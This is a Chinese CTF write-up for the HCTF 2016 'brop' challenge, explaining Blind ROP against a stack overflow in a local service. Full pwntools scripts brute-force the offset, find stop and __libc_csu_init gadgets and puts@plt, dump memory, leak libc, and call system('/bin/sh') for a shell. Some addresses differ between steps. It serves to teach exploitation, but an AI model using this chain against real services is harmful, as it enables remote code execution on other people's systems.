pwn_hctf2016-brop_writeup

​ 真能想啊,这rop玩的真是花。

0x01 从源码出发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
//清空标准输入、标准输出、标准错误的缓存内容
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);//溢出无极限
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

​ 源码可以说非常简单了,问题是这个题不提供二进制文件,也就是Blind_ROP,我们学习这种rop,就从这题出发:

0x02 确定返回地址

​ 首先要确定返回地址与溢出串的距离,通过枚举填充的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
def getsize():
i = 1
while 1:
try:
p = remote('127.0.0.1',9999)
p.recvuntil("WelCome my friend,Do you know password?\n")
p.send(i*'a')# 控制发包的长度,枚举尝试
data = p.recv()
p.close()
if not data.startswith('No password'):
return i-1
#如果出错了,或者不返回No password了,说明check函数返回地址被覆盖了
#此时的长度超过了偏移一位,减一就是偏移
else:
i+=1
except EOFError:
p.close()
return i-1

size = getsize()
print "size is [%s]"%size

image-20220517135802137

0x03 信息泄露

一、寻找stop_gadget

​ 理解这一步,我们不需要理解为什么要找stop_gadget,我们只需要理解什么是stop_gadget,怎么找就可以,等我们找到了,下一步自然就会告诉我们为啥需要这个。

​ 那么首先,什么是stop_gadget

​ 所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态(也就是程序不崩溃,跳转过来就不动了)。说白了,我认为这个stop_gadget就是找到一个跳转过去不会崩溃的程序片段

​ 然后,我们如何找到一段如上文描述的gadget呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

length = 72 #上一步计算出距离返回地址的偏移
def getStopGadgets(length):
addr = 0x400000 #从头开始遍历
while 1:
try:
sh = remote('127.0.0.1',9999)
payload = 'a'*length +p64(addr) #程序执行完check,就会返回到addr
sh.recvuntil("know password?\n")
sh.sendline(payload)
output = sh.recvuntil("password?\n")
sh.close()
print("one success addr 0x%x:" % (addr))

#这里是重点,这里接的是什么,是main函数的输出,
#也就是这里所谓的找stop_gadget就是找main函数的起始地址
if not output.startswith('WelCome'):
sh.close()
addr+=1
else:
return addr
except Exception:
addr+=1
sh.close()
stop_gadgets = getStopGadgets(length)
print stop_gadgets

image-20220517135913197

也就是说,这里的poc实际是在找main函数的起始地址,我们运行一下,就可以找到main函数的开始地址。

​ 但是main函数的开始地址又有什么用呢

二、stop_gadgets利用的思路

​ 首先,我们下一步要做什么,因为什么地址都看不到,我们肯定是要找一些比较通用的函数进行信息泄露,同时我们调用函数也需要使用x64下的寄存器传参,很自然的就想到了**__libc_csu_init**,这个函数真的太重要了。有了他,我们才能泄露寄存器,才能进行的下去,而且他还有一个重要的特征:6个连续的pop。

​ 要找到这个函数(实际我们找的就是最后的六个pop),我们肯定也是进行爆破,但是存在的问题是,我们如何爆破:

image-20220516221532627

​ 如上图,下面一串是我们的输入,假设我们从头开始遍历(遍历的方式就是根据刚刚得到的偏移量覆盖返回地址),遍历到了gadget,其内容是:pop %rdi; ret;

​ 把这句话的地址覆盖了返回地址,然会执行了,执行完了pop之后执行ret(等于pop %rsi),直接就跳到了箭头所指的那个无效地址0xdead,程序崩溃了,没有任何回显,我们压根就不知道刚刚发生了啥。

​ 于是天才的大哥想到了一个方法,如果我们能够知道程序中的一个gadget,这个gadget的代码的效果就是让这个程序停住,不继续执行,也不崩溃,就可以达成图二的效果(注意,图二中原图是不正确的,我个人认为应该把另外两个位置改为0xdead才可以,见红色字):

image-20220516221519176

​ 依然是同一个内容是:pop %rdi; ret;的片段,我们把返回地址改为这个片段的地址,然后pop弹了一个,之后ret了,正好到了这个停止位,程序停住了,没有崩溃,这就说明曾经执行了pop %rdi; ret;的片段,虽然不能确定一定是pop %rdi;,有可能是pop其他寄存器,比如pop %rax; ret;也能让程序停下来。或者还有可能不只是一句pop,有可能还有其他代码的存在,只是对结果没有影响,但是我们大概能做一个类似的判断,也就是这段代码里可能类似pop %rdi; ret;

​ 这时候,你会说,这有啥用,这一句代码是pop %rdi; ret;的概率很低,很有是有其他代码干扰的内容。你说的对,但我们要找的不是pop %rdi; ret;。我们要找的是**__libc_csu_init函数中的六连pop片段!如果说,一个pop的gadget很容易有代码类似,那如果上图中间的dead变成了六个0xdead**,必须精准的pop六次,才能达到正确的stop地址,就不那么容易相似了。

​ 也就是说我们通过这种设置stop_gadget的方法,可以遍历(猜测)出**__libc_csu_init**函数中六连pop片段的位置!

三、寻找__libc_csu_init片段

​ 我们明白了上面的原理,手中还有main的起始地址作为我们的gadget,直接就可以开始爆破__libc_csu_init的6pop片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

# 用于按照上面的逻辑找6个pop
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
#依然是遍历返回地址,如果有六个pop,就会顺利执行到stop_gadget,也就是main
#如果有少于或者多于六个pop,都不行,直接就崩溃
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
#if not content.startswith('WelCome'):
# return False
return True
except Exception:
sh.close()
return False

#上面是正向找了一下,找到一个不会崩溃的地址,但是我们为了保险,还要反向检测一下
#因为这个片段有可能找到了一个返回main的地址,或者就是一个main地址
#所以反向检测一下这个地址,输入错误的payload会不会崩溃,崩溃了说明找对了
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True


##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005c0
addr = 0x400000

#######get_brop_gadgets_addr#######
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1

image-20220517140003803

​ 这里的脚本顺利执行后,我们就有了比较关键的6pop_gadget,我们能拿他干什么呢,首先肯定是我们可以控制本身的六个寄存器,rbx,rbp,r12,r13,r14,r15 。在学习csu_rop的时候,我们知道如果手动修改偏移来裁剪汇编代码,我们还可以达成:

pop rsi; pop r15;ret;pop rdi; ret;的效果。

这个就比较牛逼了,可以控制函数的前两个传参,可以说非常重要了。

0x04 控制put函数

一、实现put函数的自由调用

​ 要实现对于put函数的自由调用,首先要找到其plt表的地址,加上我们的传参能力,就可以实现调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

length = 72
stop_gadget = 0x4005c0# main地址

#rdi_ret就是根据6pop_gedget进行偏移,搞到的pop rdi;ret;的地址
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400500 #这里实际上没必要从0x400000开始遍历,因为elf头的信息是无意义的
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
#先执行pop edi传参,传的参数是0x400000,
#这个地址是elf的开始位置,储存的是固定的elf头。
#传参结束后进入addr作为遍历值,直到这个值是调用put的plt的时候,其内容才能被正确的输出。
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):#固定的elf头
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1

brop_gadget=0x4007ba
rdi_ret=brop_gadget+9
get_puts_addr(72,rdi_ret,stop_gadget)

​ put函数(实际是put函数的plt表项)的位置找到了之后,我们就能顺利的实现put函数的调用了,这时候我们实际就实现了任意读

image-20220517103632338

二、dump程序源码

​ 下面只需要调用put,获取到put函数的got表地址,进而读取put函数的got表值。

​ 原解析是吧整个程序从0x400000开始全部dump了出来,这样完全没有任何必要,我们从put.plt前的以0为结尾的第一个地址dump就可以了,即从0x400550开始dump,为了dump全,我们可以dump到0x400570。

注:解释一下为什么不直接从0x400555开始,这是因为64位程序段的解析必须从16的倍数,也就是最后一位为0的地址开始。

dump程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None


##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005c0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400555
addr = 0x400550 #dump起始地址
result = ""
while addr < 0x400570:
print hex(addr)
data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)

​ 搞一个文件出来,丢进ida,把起始段地址设为0x400550:

image-20220517104157940

​ 狂按u把所有被解析为代码的内容转化为数据,然后在0x400555处按c,转化为数据如上图所示,得到put函数的got表位置是0x601018(注意这里我们得到的是got表中put项的地址,不是put项的)。

​ 也就是说,我们要泄露put函数的真实地址,需要输出储存在0x601018这个地址上的值。

0x05 最终getshell

​ 我们通过上一步泄露的put函数的got表地址,通过got输出其中的值,就能够泄露put动态链接库地址,进而使用libcsearcher泄露libc基地址,最终达成调用,至此,这题就成为了一个最基础的roplibc了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding=utf8
from pwn import *
from LibcSearcher import *

sh = remote('127.0.0.1', 9999)

#length = getbufferflow_length()
length = 72
#stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
#brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
#leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
#先泄露put.got中的值
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
#计算system的值直接getshell
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()